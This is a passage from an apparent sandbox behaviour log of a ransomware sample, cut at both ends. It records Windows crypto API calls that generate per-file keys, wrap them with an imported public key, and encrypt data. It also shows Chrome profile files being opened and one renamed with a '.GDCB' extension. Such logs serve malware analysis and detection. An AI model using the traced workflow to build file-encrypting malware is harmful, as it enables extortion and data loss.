dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6484300) returned 1 [0216.388] CryptGetKeyParam (in: hKey=0x6484300, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0216.388] CryptEncrypt (in: hKey=0x6484300, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x73f0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x73f0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0216.388] GetLastError () returned 0x0 [0216.388] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0216.388] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0216.388] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0216.390] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.391] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.392] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0216.392] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0216.392] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0216.393] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.394] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.394] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0216.394] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0216.394] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0216.396] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x64841c0) returned 1 [0216.396] CryptGetKeyParam (in: hKey=0x64841c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0216.396] CryptEncrypt (in: hKey=0x64841c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7400000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x7400000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0216.397] GetLastError () returned 0x0 [0216.397] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0216.397] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0216.399] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x64842c0) returned 1 [0216.399] CryptGetKeyParam (in: hKey=0x64842c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0216.399] CryptEncrypt (in: hKey=0x64842c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7410000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x7410000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0216.399] GetLastError () returned 0x0 [0216.399] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0216.399] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0216.403] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0216.405] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.406] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.406] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0216.406] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0216.407] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0216.408] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.409] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.409] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0216.409] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0216.410] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0216.456] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6484580) returned 1 [0216.456] CryptGetKeyParam (in: hKey=0x6484580, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0216.456] CryptEncrypt (in: hKey=0x6484580, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7420000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x7420000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0216.456] GetLastError () returned 0x0 [0216.456] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0216.456] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0216.458] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6484340) returned 1 [0216.458] CryptGetKeyParam (in: hKey=0x6484340, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0216.458] CryptEncrypt (in: hKey=0x6484340, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7430000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x7430000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0216.458] GetLastError () returned 0x0 [0216.458] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0216.458] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0216.459] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0216.461] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.462] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.462] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0216.462] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0216.462] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0216.463] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.464] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.464] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0216.464] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0216.465] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0216.467] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6484780) returned 1 [0216.467] CryptGetKeyParam (in: hKey=0x6484780, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0216.467] CryptEncrypt (in: hKey=0x6484780, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7440000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x7440000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0216.467] GetLastError () returned 0x0 [0216.467] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0216.467] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0216.469] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6484380) returned 1 [0216.469] CryptGetKeyParam (in: hKey=0x6484380, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0216.469] CryptEncrypt (in: hKey=0x6484380, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7450000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x7450000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0216.469] GetLastError () returned 0x0 [0216.469] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0216.469] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0216.519] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0216.521] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.522] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.523] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0216.523] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0216.523] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0216.524] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.525] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.525] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0216.525] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0216.525] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0216.527] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x648b600) returned 1 [0216.528] CryptGetKeyParam (in: hKey=0x648b600, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0216.528] CryptEncrypt (in: hKey=0x648b600, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7460000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7460000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0216.528] GetLastError () returned 0x0 [0216.528] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0216.528] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0216.530] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6484680) returned 1 [0216.530] CryptGetKeyParam (in: hKey=0x6484680, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0216.530] CryptEncrypt (in: hKey=0x6484680, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7470000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7470000*, pdwDataLen=0x285d120*=0x100) returned 1 [0216.530] GetLastError () returned 0x0 [0216.530] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0216.530] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\IndexedDB\\https_www.google.com_0.indexeddb.leveldb\\000003.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\indexeddb\\https_www.google.com_0.indexeddb.leveldb\\000003.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0216.639] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0216.641] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.642] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.642] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0216.642] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0216.642] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0216.644] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.645] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.645] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0216.645] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0216.645] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0216.648] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x64846c0) returned 1 [0216.648] CryptGetKeyParam (in: hKey=0x64846c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0216.648] CryptEncrypt (in: hKey=0x64846c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7480000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7480000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0216.648] GetLastError () returned 0x0 [0216.648] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0216.648] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0216.650] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6484700) returned 1 [0216.650] CryptGetKeyParam (in: hKey=0x6484700, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0216.650] CryptEncrypt (in: hKey=0x6484700, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7490000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7490000*, pdwDataLen=0x285d120*=0x100) returned 1 [0216.651] GetLastError () returned 0x0 [0216.651] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0216.651] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\IndexedDB\\https_www.google.de_0.indexeddb.leveldb\\000003.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\indexeddb\\https_www.google.de_0.indexeddb.leveldb\\000003.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0216.758] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0216.761] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.762] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.762] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0216.762] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0216.762] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0216.764] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.765] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.765] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0216.765] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0216.766] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0216.768] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6484800) returned 1 [0216.768] CryptGetKeyParam (in: hKey=0x6484800, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0216.768] CryptEncrypt (in: hKey=0x6484800, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x74a0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x74a0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0216.768] GetLastError () returned 0x0 [0216.768] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0216.768] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0216.770] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6484740) returned 1 [0216.770] CryptGetKeyParam (in: hKey=0x6484740, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0216.770] CryptEncrypt (in: hKey=0x6484740, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x74b0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x74b0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0216.770] GetLastError () returned 0x0 [0216.770] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0216.770] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Service Worker\\Database\\000003.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\service worker\\database\\000003.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b8 [0216.772] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x74c0000 [0216.774] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x74d0000 [0216.776] ReadFile (in: hFile=0x4b8, lpBuffer=0x74d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x74d0000*, lpNumberOfBytesRead=0x285d160*=0xad0, lpOverlapped=0x0) returned 1 [0216.781] VirtualAlloc (lpAddress=0x0, dwSize=0xad0, flAllocationType=0x3000, flProtect=0x4) returned 0x75e0000 [0216.785] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Service Worker\\Database\\000003.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\service worker\\database\\000003.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Service Worker\\Database\\000003.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\service worker\\database\\000003.log.gdcb")) returned 1 [0217.720] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0217.723] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0217.724] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0217.725] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0217.725] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0217.725] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0217.726] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0217.729] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0217.730] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0217.730] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0217.730] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0217.733] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x648b740) returned 1 [0217.733] CryptGetKeyParam (in: hKey=0x648b740, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0217.733] CryptEncrypt (in: hKey=0x648b740, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x74a0000*, 